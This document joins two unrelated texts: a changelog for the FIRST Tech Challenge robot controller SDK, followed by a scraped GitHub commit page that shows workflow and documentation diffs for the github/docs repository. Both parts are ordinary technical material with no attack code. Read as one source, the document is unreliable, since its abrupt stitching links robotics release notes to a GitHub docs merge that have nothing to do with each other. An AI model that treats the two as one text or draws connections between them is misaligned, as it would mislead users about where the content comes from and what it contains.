Modified Utilities section of the toolbox. In Programming Mode, display information about the active connections. Fixed paste location when workspace has been scrolled. Added blocks support for the android Accelerometer. Fixed issue where Blocks Upload Op Mode truncated name at first dot. Added blocks support for Android SoundPool. Added type safety to blocks for Acceleration. Added type safety to blocks for AdafruitBNO055IMU.Parameters. Added type safety to blocks for AnalogInput. Added type safety to blocks for AngularVelocity. Added type safety to blocks for Color. Added type safety to blocks for ColorSensor. Added type safety to blocks for CompassSensor. Added type safety to blocks for CRServo. Added type safety to blocks for DigitalChannel. Added type safety to blocks for ElapsedTime. Added type safety to blocks for Gamepad. Added type safety to blocks for GyroSensor. Added type safety to blocks for IrSeekerSensor. Added type safety to blocks for LED. Added type safety to blocks for LightSensor. Added type safety to blocks for LinearOpMode. Added type safety to blocks for MagneticFlux. Added type safety to blocks for MatrixF. Added type safety to blocks for MrI2cCompassSensor. Added type safety to blocks for MrI2cRangeSensor. Added type safety to blocks for OpticalDistanceSensor. Added type safety to blocks for Orientation. Added type safety to blocks for Position. Added type safety to blocks for Quaternion. Added type safety to blocks for Servo. Added type safety to blocks for ServoController. Added type safety to blocks for Telemetry. Added type safety to blocks for Temperature. Added type safety to blocks for TouchSensor. Added type safety to blocks for UltrasonicSensor. Added type safety to blocks for VectorF. Added type safety to blocks for Velocity. Added type safety to blocks for VoltageSensor. Added type safety to blocks for VuforiaLocalizer.Parameters. Added type safety to blocks for VuforiaTrackable. Added type safety to blocks for VuforiaTrackables. Added type safety to blocks for enums in AdafruitBNO055IMU.Parameters. Added type safety to blocks for AndroidAccelerometer, AndroidGyroscope, AndroidOrientation, and AndroidTextToSpeech. Version 2.4 (released on 16.11.13) Fix to avoid crashing for nonexistent resources. Blocks Programming mode changes: Added blocks to support OpenGLMatrix, MatrixF, and VectorF. Added blocks to support AngleUnit, AxesOrder, AxesReference, CameraDirection, CameraMonitorFeedback, DistanceUnit, and TempUnit. Added blocks to support Acceleration. Added blocks to support LinearOpMode.getRuntime. Added blocks to support MagneticFlux and Position. Fixed typos. Made blocks for ElapsedTime more consistent with other objects. Added blocks to support Quaternion, Velocity, Orientation, AngularVelocity. Added blocks to support VuforiaTrackables, VuforiaTrackable, VuforiaLocalizer, VuforiaTrackableDefaultListener. Fixed a few blocks. Added type checking to new blocks. Updated to latest blockly. Added default variable blocks to navigation and matrix blocks. Fixed toolbox entry for openGLMatrix_rotation_withAxesArgs. When user downloads Blocks-generated op mode, only the .blk file is downloaded. When user uploads Blocks-generated op mode (.blk file), Javascript code is auto generated. Added DbgLog support. Added logging when a blocks file is read/written. Fixed bug to properly render blocks even if missing devices from configuration file. Added support for additional characters (not just alphanumeric) for the block file names (for download and upload). Added support for OpMode flavor (“Autonomous” or “TeleOp”) and group. Changes to Samples to prevent tutorial issues. Incorporated suggested changes from public pull 216 (“Replace .. paths”). Remove Servo Glitches when robot stopped. if user hits “Cancels” when editing a configuration file, clears the unsaved changes and reverts to original unmodified configuration. Added log info to help diagnose why the Robot Controller app was terminated (for example, by watch dog function). Added ability to transfer log from the controller. Fixed inconsistency for AngularVelocity Limit unbounded growth of data for telemetry. If user does not call telemetry.update() for LinearOpMode in a timely manner, data added for telemetry might get lost if size limit is exceeded. Version 2.35 (released on 16.10.06) Blockly programming mode - Removed unnecesary idle() call from blocks for new project. Version 2.30 (released on 16.10.05) Blockly programming mode: Mechanism added to save Blockly op modes from Programming Mode Server onto local device To avoid clutter, blocks are displayed in categorized folders Added support for DigitalChannel Added support for ModernRoboticsI2cCompassSensor Added support for ModernRoboticsI2cRangeSensor Added support for VoltageSensor Added support for AnalogInput Added support for AnalogOutput Fix for CompassSensor setMode block Vuforia Fix deadlock / make camera data available while Vuforia is running. Update to Vuforia 6.0.117 (recommended by Vuforia and Google to close security loophole). Fix for autonomous 30 second timer bug (where timer was in effect, even though it appeared to have timed out). opModeIsActive changes to allow cleanup after op mode is stopped (with enforced 2 second safety timeout). Fix to avoid reading i2c twice. Updated sample Op Modes. Improved logging and fixed intermittent freezing. Added digital I/O sample. Cleaned up device names in sample op modes to be consistent with Pushbot guide. Fix to allow use of IrSeekerSensorV3. Version 2.20 (released on 16.09.08) Support for Modern Robotics Compass Sensor. Support for Modern Robotics Range Sensor. Revise device names for Pushbot templates to match the names used in Pushbot guide. Fixed bug so that IrSeekerSensorV3 device is accessible as IrSeekerSensor in hardwareMap. Modified computer vision code to require an individual Vuforia license (per legal requirement from PTC). Minor fixes. Blockly enhancements: Support for Voltage Sensor. Support for Analog Input. Support for Analog Output. Support for Light Sensor. Support for Servo Controller. Version 2.10 (released on 16.09.03) Support for Adafruit IMU. Improvements to ModernRoboticsI2cGyro class Block on reset of z axis. isCalibrating() returns true while gyro is calibration. Updated sample gyro program. Blockly enhancements support for android.graphics.Color. added support for ElapsedTime. improved look and legibility of blocks. support for compass sensor. support for ultrasonic sensor. support for IrSeeker. support for LED. support for color sensor. support for CRServo prompt user to configure robot before using programming mode. Provides ability to disable audio cues. various bug fixes and improvements. Version 2.00 (released on 16.08.19) This is the new release for the upcoming 2016-2017 FIRST Tech Challenge Season. Channel change is enabled in the FTC Robot Controller app for Moto G 2nd and 3rd Gen phones. Users can now use annotations to register/disable their Op Modes. Changes in the Android SDK, JDK and build tool requirements (minsdk=19, java 1.7, build tools 23.0.3). Standardized units in analog input. Cleaned up code for existing analog sensor classes. setChannelMode and getChannelMode were REMOVED from the DcMotorController class. This is important - we no longer set the motor modes through the motor controller. setMode and getMode were added to the DcMotor class. ContinuousRotationServo class has been added to the FTC SDK. Range.clip() method has been overloaded so it can support this operation for int, short and byte integers. Some changes have been made (new methods added) on how a user can access items from the hardware map. Users can now set the zero power behavior for a DC motor so that the motor will brake or float when power is zero. Prototype Blockly Programming Mode has been added to FTC Robot Controller. Users can place the Robot Controller into this mode, and then use a device (such as a laptop) that has a Javascript enabled browser to write Blockly-based Op Modes directly onto the Robot Controller. Users can now configure the robot remotely through the FTC Driver Station app. Android Studio project supports Android Studio 2.1.x and compile SDK Version 23 (Marshmallow). Vuforia Computer Vision SDK integrated into FTC SDK. Users can use sample vision targets to get localization information on a standard FTC field. Project structure has been reorganized so that there is now a TeamCode package that users can use to place their local/custom Op Modes into this package. Inspection function has been integrated into the FTC Robot Controller and Driver Station Apps (Thanks Team HazMat… 9277 & 10650!). Audio cues have been incorporated into FTC SDK. Swap mechanism added to FTC Robot Controller configuration activity. For example, if you have two motor controllers on a robot, and you misidentified them in your configuration file, you can use the Swap button to swap the devices within the configuration file (so you do not have to manually re-enter in the configuration info for the two devices). Fix mechanism added to all user to replace an electronic module easily. For example, suppose a servo controller dies on your robot. You replace the broken module with a new module, which has a different serial number from the original servo controller. You can use the Fix button to automatically reconfigure your configuration file to use the serial number of the new module. Improvements made to fix resiliency and responsiveness of the system. For LinearOpMode the user now must for a telemetry.update() to update the telemetry data on the driver station. This update() mechanism ensures that the driver station gets the updated data properly and at the same time. The Auto Configure function of the Robot Controller is now template based. If there is a commonly used robot configuration, a template can be created so that the Auto Configure mechanism can be used to quickly configure a robot of this type. The logic to detect a runaway op mode (both in the LinearOpMode and OpMode types) and to abort the run, then auto recover has been improved/implemented. Fix has been incorporated so that Logitech F310 gamepad mappings will be correct for Marshmallow users. Release 16.07.08 For the ftc_app project, the gradle files have been modified to support Android Studio 2.1.x. Release 16.03.30 For the MIT App Inventor, the design blocks have new icons that better represent the function of each design component. Some changes were made to the shutdown logic to ensure the robust shutdown of some of our USB services. A change was made to LinearOpMode so as to allow a given instance to be executed more than once, which is required for the App Inventor. Javadoc improved/updated. Release 16.03.09 Changes made to make the FTC SDK synchronous (significant change!) waitOneFullHardwareCycle() and waitForNextHardwareCycle() are no longer needed and have been deprecated. runOpMode() (for a LinearOpMode) is now decoupled from the system's hardware read/write thread. loop() (for an OpMode) is now decoupled from the system's hardware read/write thread. Methods are synchronous. For example, if you call setMode(DcMotorController.RunMode.RESET_ENCODERS) for a motor, the encoder is guaranteed to be reset when the method call is complete. For legacy module (NXT compatible), user no longer has to toggle between read and write modes when reading from or writing to a legacy device. Changes made to enhance reliability/robustness during ESD event. Changes made to make code thread safe. Debug keystore added so that user-generated robot controller APKs will all use the same signed key (to avoid conflicts if a team has multiple developer laptops for example). Firmware version information for Modern Robotics modules are now logged. Changes made to improve USB comm reliability and robustness. Added support for voltage indicator for legacy (NXT-compatible) motor controllers. Changes made to provide auto stop capabilities for op modes. A LinearOpMode class will stop when the statements in runOpMode() are complete. User does not have to push the stop button on the driver station. If an op mode is stopped by the driver station, but there is a run away/uninterruptible thread persisting, the app will log an error message then force itself to crash to stop the runaway thread. Driver Station UI modified to display lowest measured voltage below current voltage (12V battery). Driver Station UI modified to have color background for current voltage (green=good, yellow=caution, red=danger, extremely low voltage). javadoc improved (edits and additional classes). Added app build time to About activity for driver station and robot controller apps. Display local IP addresses on Driver Station About activity. Added I2cDeviceSynchImpl. Added I2cDeviceSync interface. Added seconds() and milliseconds() to ElapsedTime for clarity. Added getCallbackCount() to I2cDevice. Added missing clearI2cPortActionFlag. Added code to create log messages while waiting for LinearOpMode shutdown. Fix so Wifi Direct Config activity will no longer launch multiple times. Added the ability to specify an alternate i2c address in software for the Modern Robotics gyro. Release 16.02.09 Improved battery checker feature so that voltage values get refreshed regularly (every 250 msec) on Driver Station (DS) user interface. Improved software so that Robot Controller (RC) is much more resilient and “self-healing” to USB disconnects: If user attempts to start/restart RC with one or more module missing, it will display a warning but still start up. When running an op mode, if one or more modules gets disconnected, the RC & DS will display warnings,and robot will keep on working in spite of the missing module(s). If a disconnected module gets physically reconnected the RC will auto detect the module and the user will regain control of the recently connected module. Warning messages are more helpful (identifies the type of module that’s missing plus its USB serial number). Code changes to fix the null gamepad reference when users try to reference the gamepads in the init() portion of their op mode. NXT light sensor output is now properly scaled. Note that teams might have to readjust their light threshold values in their op modes. On DS user interface, gamepad icon for a driver will disappear if the matching gamepad is disconnected or if that gamepad gets designated as a different driver. Robot Protocol (ROBOCOL) version number info is displayed in About screen on RC and DS apps. Incorporated a display filter on pairing screen to filter out devices that don’t use the “-“ format. This filter can be turned off to show all WiFi Direct devices. Updated text in License file. Fixed formatting error in OpticalDistanceSensor.toString(). Fixed issue on with a blank (“”) device name that would disrupt WiFi Direct Pairing. Made a change so that the WiFi info and battery info can be displayed more quickly on the DS upon connecting to RC. Improved javadoc generation. Modified code to make it easier to support language localization in the future. Release 16.01.04 Updated compileSdkVersion for apps Prevent Wifi from entering power saving mode removed unused import from driver station Corrrected "Dead zone" joystick code. LED.getDeviceName and .getConnectionInfo() return null apps check for ROBOCOL_VERSION mismatch Fix for Telemetry also has off-by-one errors in its data string sizing / short size limitations error User telemetry output is sorted. added formatting variants to DbgLog and RobotLog APIs code modified to allow for a long list of op mode names. changes to improve thread safety of RobocolDatagramSocket Fix for "missing hardware leaves robot controller disconnected from driver station" error fix for "fast tapping of Init/Start causes problems" (toast is now only instantiated on UI thread). added some log statements for thread life cycle. moved gamepad reset logic inside of initActiveOpMode() for robustness changes made to mitigate risk of race conditions on public methods. changes to try and flag when WiFi Direct name contains non-printable characters. fix to correct race condition between .run() and .close() in ReadWriteRunnableStandard. updated FTDI driver made ReadWriteRunnableStanard interface public. fixed off-by-one errors in Command constructor moved specific hardware implmentations into their own package. moved specific gamepad implemnatations to the hardware library. changed LICENSE file to new BSD version. fixed race condition when shutting down Modern Robotics USB devices. methods in the ColorSensor classes have been synchronized. corrected isBusy() status to reflect end of motion. corrected "back" button keycode. the notSupported() method of the GyroSensor class was changed to protected (it should not be public). Release 15.11.04.001 Added Support for Modern Robotics Gyro. The GyroSensor class now supports the MR Gyro Sensor. Users can access heading data (about Z axis) Users can also access raw gyro data (X, Y, & Z axes). Example MRGyroTest.java op mode included. Improved error messages More descriptive error messages for exceptions in user code. Updated DcMotor API Enable read mode on new address in setI2cAddress Fix so that driver station app resets the gamepads when switching op modes. USB-related code changes to make USB comm more responsive and to display more explicit error messages. Fix so that USB will recover properly if the USB bus returns garbage data. Fix USB initializtion race condition. Better error reporting during FTDI open. More explicit messages during USB failures. Fixed bug so that USB device is closed if event loop teardown method was not called. Fixed timer UI issue Fixed duplicate name UI bug (Legacy Module configuration). Fixed race condition in EventLoopManager. Fix to keep references stable when updating gamepad. For legacy Matrix motor/servo controllers removed necessity of appending "Motor" and "Servo" to controller names. Updated HT color sensor driver to use constants from ModernRoboticsUsbLegacyModule class. Updated MR color sensor driver to use constants from ModernRoboticsUsbDeviceInterfaceModule class. Correctly handle I2C Address change in all color sensors Updated/cleaned up op modes. Updated comments in LinearI2cAddressChange.java example op mode. Replaced the calls to "setChannelMode" with "setMode" (to match the new of the DcMotor method). Removed K9AutoTime.java op mode. Added MRGyroTest.java op mode (demonstrates how to use MR Gyro Sensor). Added MRRGBExample.java op mode (demonstrates how to use MR Color Sensor). Added HTRGBExample.java op mode (demonstrates how to use HT legacy color sensor). Added MatrixControllerDemo.java (demonstrates how to use legacy Matrix controller). Updated javadoc documentation. Updated release .apk files for Robot Controller and Driver Station apps. Release 15.10.06.002 Added support for Legacy Matrix 9.6V motor/servo controller. Cleaned up build.gradle file. Minor UI and bug fixes for driver station and robot controller apps. Throws error if Ultrasonic sensor (NXT) is not configured for legacy module port 4 or 5. Release 15.08.03.001 New user interfaces for FTC Driver Station and FTC Robot Controller apps. An init() method is added to the OpMode class. For this release, init() is triggered right before the start() method. Eventually, the init() method will be triggered when the user presses an "INIT" button on driver station. The init() and loop() methods are now required (i.e., need to be overridden in the user's op mode). The start() and stop() methods are optional. A new LinearOpMode class is introduced. Teams can use the LinearOpMode mode to create a linear (not event driven) program model. Teams can use blocking statements like Thread.sleep() within a linear op mode. The API for the Legacy Module and Core Device Interface Module have been updated. Support for encoders with the Legacy Module is now working. The hardware loop has been updated for better performance.

Skip to content github / docs Code Issues 80 Pull requests 35 Discussions Actions Projects 2 Security Insights Merge branch 'main' into 1862-Add-Travis-CI-migration-table 1862-Add-Travis-CI-migration-table (#1869, Iixixi/ZachryTylerWood#102, THEBOLCK79/docs#1, sbnbhk/docs#1) @martin389 martin389 committed on Dec 9, 2020 2 parents 2f9ec0c + 1588f50 commit 1a56ed136914e522f3a23ecc2be1c49f479a1a6a Showing 501 changed files with 5,397 additions and 1,362 deletions. 2 .github/allowed-actions.js @@ -30,7 +30,7 @@ module.exports = [ 'rachmari/labeler@832d42ec5523f3c6d46e8168de71cd54363e3e2e', 'repo-sync/github-sync@3832fe8e2be32372e1b3970bbae8e7079edeec88', 'repo-sync/pull-request@33777245b1aace1a58c87a29c90321aa7a74bd7d', 'rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815', 'someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd', 'tjenkinson/gh-action-auto-merge-dependency-updates@cee2ac0', 'EndBug/add-and-commit@9358097a71ad9fb9e2f9624c6098c89193d83575' ] 72 .github/workflows/confirm-internal-staff-work-in-docs.yml @@ -0,0 +1,72 @@ name: Confirm internal staff meant to post in public on: issues: types: - opened - reopened - transferred pull_request_target: types: - opened - reopened jobs: check-team-membership: runs-on: ubuntu-latest continue-on-error: true if: github.repository == 'github/docs' steps: - uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | // Only perform this action with GitHub employees try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'employees', username: context.payload.sender.login, }); } catch(err) { // An error will be thrown if the user is not a GitHub employee // If a user is not a GitHub employee, we should stop here and // Not send a notification return } // Don't perform this action with Docs team members try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'docs', username: context.payload.sender.login, }); // If the user is a Docs team member, we should stop here and not send // a notification return } catch(err) { // An error will be thrown if the user is not a Docs team member // If a user is not a Docs team member we should continue and send // the notification } const issueNo = context.number || context.issue.number // Create an issue in our private repo await github.issues.create({ owner: 'github', repo: 'docs-internal', title: `@${context.payload.sender.login} confirm that \#${issueNo} should be in the public github/docs repo`, body: `@${context.payload.sender.login} opened https://github.com/github/docs/issues/${issueNo} publicly in the github/docs repo, instead of the private github/docs-internal repo.\n\n@${context.payload.sender.login}, please confirm that this belongs in the public repo and that no sensitive information was disclosed by commenting below and closing the issue.\n\nIf this was not intentional and sensitive information was shared, please delete https://github.com/github/docs/issues/${issueNo} and notify us in the \#docs-open-source channel.\n\nThanks! \n\n/cc @github/docs @github/docs-engineering` }); throw new Error('A Hubber opened an issue on the public github/docs repo'); - name: Send Slack notification if a GitHub employee who isn't on the docs team opens an issue in public if: ${{ failure() && github.repository == 'github/docs' }} uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd with: channel: ${{ secrets.DOCS_OPEN_SOURCE_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} text: <@${{github.actor}}> opened https://github.com/github/docs/issues/${{ github.event.number || github.event.issue.number }} publicly on the github/docs repo instead of the private github/docs-internal repo. They have been notified via a new issue in the github/docs-internal repo to confirm this was intentional. 15 .github/workflows/js-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.js", "package*.json", ".github/workflows/js-lint.yml", ".eslint*"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 13 .github/workflows/repo-freeze-reminders.yml @@ -14,11 +14,10 @@ jobs: if: github.repository == 'github/docs-internal' steps: - name: Send Slack notification if repo is frozen uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: ${{ env.FREEZE == 'true' }} uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':freezing_face:' SLACK_COLOR: '#51A0D5' # Carolina Blue SLACK_MESSAGE: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: info text: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! 54 .github/workflows/repo-sync-stalls.yml @@ -0,0 +1,54 @@ name: Repo Sync Stalls on: workflow_dispatch: schedule: - cron: '*/30 * * * *' jobs: check-freezer: name: Check for deployment freezes runs-on: ubuntu-latest steps: - name: Exit if repo is frozen if: ${{ env.FREEZE == 'true' }} run: | echo 'The repo is currently frozen! Exiting this workflow.' exit 1 # prevents further steps from running repo-sync-stalls: runs-on: ubuntu-latest steps: - name: Check if repo sync is stalled uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | let pulls; const owner = context.repo.owner const repo = context.repo.repo try { pulls = await github.pulls.list({ owner: owner, repo: repo, head: `${owner}:repo-sync`, state: 'open' }); } catch(err) { throw err return } pulls.data.forEach(pr => { const timeDelta = Date.now() - Date.parse(pr.created_at); const minutesOpen = timeDelta / 1000 / 60; if (minutesOpen > 30) { core.setFailed('Repo sync appears to be stalled') } }) - name: Send Slack notification if workflow fails uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: Repo sync appears to be stalled for ${{github.repository}}. See https://github.com/${{github.repository}}/pulls?q=is%3Apr+is%3Aopen+repo+sync 16 .github/workflows/repo-sync.yml @@ -7,6 +7,7 @@ name: Repo Sync on: workflow_dispatch: schedule: - cron: '*/15 * * * *' # every 15 minutes @@ -70,11 +71,10 @@ jobs: number: ${{ steps.find-pull-request.outputs.number }} - name: Send Slack notification if workflow fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 if: ${{ failure() }} env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':ohno:' SLACK_COLOR: '#B90E0A' # Crimson SLACK_MESSAGE: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 10 .github/workflows/sync-algolia-search-indices.yml @@ -33,8 +33,10 @@ jobs: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: npm run sync-search - name: Send slack notification if workflow run fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_MESSAGE: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` 15 .github/workflows/yml-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.yml", "**/*.yaml", "package*.json", ".github/workflows/yml-lint.yml"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 4 README.md @@ -28,7 +28,7 @@ If you've found a problem, you can open an issue using a [template](https://gith #### Solve an issue If you have a solution to one of the open issues, you will need to fork the repository and submit a PR using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). If you have a solution to one of the open issues, you will need to fork the repository and submit a pull request using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). #### Join us in discussions @@ -50,6 +50,8 @@ There are a few more things to know when you're getting started with this repo: In addition to the README you're reading right now, this repo includes other READMEs that describe the purpose of each subdirectory in more detail: - [content/README.md](content/README.md) - [content/graphql/README.md](content/graphql/README.md) - [content/rest/README.md](content/rest/README.md) - [contributing/README.md](contributing/README.md) - [data/README.md](data/README.md) - [data/reusables/README.md](data/reusables/README.md) BIN +164 KB assets/images/help/classroom/assignment-group-hero.png Binary file not shown. BIN +75.5 KB assets/images/help/classroom/assignment-ide-go-grant-access-button.png Binary file not shown. BIN +175 KB assets/images/help/classroom/assignment-individual-hero.png Binary file not shown. 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You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 6 content/actions/creating-actions/creating-a-javascript-action.md @@ -261,9 +261,11 @@ jobs: ``` {% endraw %} From your repository, click the **Actions** tab, and select the latest workflow run. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% elsif currentVersion ver_gt "enterprise-server@2.22" %}  {% else %}  4 content/actions/guides/about-packaging-with-github-actions.md @@ -25,7 +25,11 @@ Creating a package at the end of a continuous integration workflow can help duri Now, when reviewing a pull request, you'll be able to look at the workflow run and download the artifact that was produced. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} This will let you run the code in the pull request on your machine, which can help with debugging or testing the pull request. 4 content/actions/guides/building-and-testing-powershell.md @@ -60,7 +60,11 @@ jobs: * `run: Test-Path resultsfile.log` - Check whether a file called `resultsfile.log` is present in the repository's root directory. * `Should -Be $true` - Uses Pester to define an expected result. If the result is unexpected, then {% data variables.product.prodname_actions %} flags this as a failed test. For example: {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} * `Invoke-Pester Unit.Tests.ps1 -Passthru` - Uses Pester to execute tests defined in a file called `Unit.Tests.ps1`. For example, to perform the same test described above, the `Unit.Tests.ps1` will contain the following: ``` 7 content/actions/guides/storing-workflow-data-as-artifacts.md @@ -108,8 +108,6 @@ jobs: path: output/test/code-coverage.html ```  {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} ### Configuring a custom artifact retention period @@ -238,7 +236,12 @@ jobs: echo The result is $value ``` The workflow run will archive any artifacts that it generated. For more information on downloading archived artifacts, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)." {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% if currentVersion == "free-pro-team@latest" %} 8 content/actions/index.md @@ -68,18 +68,18 @@ versions: <h2 class="mb-2 font-mktg h1">Code examples</h2> <div class="pr-lg-3 mb-5 mt-3"> <input class="js-code-example-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> <input class="js-filter-card-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> </div> <div class="d-flex flex-wrap gutter"> {% render 'code-example-card' for actionsCodeExamples as example %} </div> <button class="js-code-example-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <div class="js-code-example-no-results d-none py-4 text-center text-gray font-mktg"> <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-code-example-filter-value"></strong></h3> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/action_code_examples.yml">Learn how to add a code example {% octicon "arrow-right" %}</a> </div> 11 content/actions/learn-github-actions/introduction-to-github-actions.md @@ -204,7 +204,7 @@ In this diagram, you can see the workflow file you just created and how the {% d ### Viewing the job's activity Once your job has started running, you can view each step's activity on {% data variables.product.prodname_dotcom %}. Once your job has started running, you can {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click **Actions**. @@ -213,7 +213,14 @@ Once your job has started running, you can view each step's activity on {% data  1. Under "Workflow runs", click the name of the run you want to see.  {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. Under **Jobs** or in the visualization graph, click the job you want to see.  {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. View the results of each step.  {% elsif currentVersion ver_gt "enterprise-server@2.22" %} 1. Click on the job name to see the results of each step.  {% else %} 7 content/actions/managing-workflow-runs/canceling-a-workflow.md @@ -17,9 +17,14 @@ versions: {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. From the list of workflow runs, click the name of the `queued` or `in progress` run that you want to cancel.  1. In the upper-right corner of the workflow, click **Cancel workflow**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 